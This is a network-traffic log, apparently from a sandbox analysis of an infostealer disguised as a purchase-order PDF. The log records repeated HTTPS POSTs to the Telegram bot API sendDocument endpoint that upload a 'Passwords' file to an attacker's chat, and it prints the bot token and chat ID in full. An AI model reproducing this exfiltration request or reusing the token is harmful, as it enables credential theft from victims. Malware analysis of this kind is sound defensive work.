4	192.168.2.5	49766	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:29:45 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd203f031927ac Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-19 14:29:45 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 30 33 66 30 33 31 39 32 37 61 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd203f031927acContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-19 14:29:45 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:29:45 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:29:45 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 34 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 35 38 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19643,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618585,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49776	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:29:48 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd206889082f42 Host: api.telegram.org Content-Length: 1090
2024-12-19 14:29:48 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 30 36 38 38 39 30 38 32 66 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd206889082f42Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-19 14:29:49 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:29:49 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:29:49 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 34 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 35 38 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19647,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618589,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49785	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:29:52 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd209070a17673 Host: api.telegram.org Content-Length: 1090
2024-12-19 14:29:52 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 30 39 30 37 30 61 31 37 36 37 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd209070a17673Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-19 14:29:52 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:29:52 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:29:52 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 35 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 35 39 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19651,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618592,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49796	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:29:55 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd20bd9321f276 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-19 14:29:55 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 30 62 64 39 33 32 31 66 32 37 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd20bd9321f276Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-19 14:29:56 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:29:56 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:29:56 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 35 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 35 39 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19655,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618596,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49806	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:29:59 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd20e9132498be Host: api.telegram.org Content-Length: 1090
2024-12-19 14:29:59 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 30 65 39 31 33 32 34 39 38 62 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd20e9132498beContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-19 14:30:00 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:29:59 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:30:00 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 35 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 35 39 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19659,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618599,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49827	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:30:08 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd2152005f10cf Host: api.telegram.org Content-Length: 1090
2024-12-19 14:30:08 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 31 35 32 30 30 35 66 31 30 63 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd2152005f10cfContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-19 14:30:08 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:30:08 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:30:08 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 36 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 36 30 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19663,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618608,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49859	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:30:20 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd21e32c16b31a Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-19 14:30:20 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 31 65 33 32 63 31 36 62 33 31 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd21e32c16b31aContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-19 14:30:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:30:21 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:30:21 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 36 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 36 32 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19667,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618621,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49871	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:30:25 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd222049205566 Host: api.telegram.org Content-Length: 1090
2024-12-19 14:30:25 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 32 32 30 34 39 32 30 35 35 36 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd222049205566Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
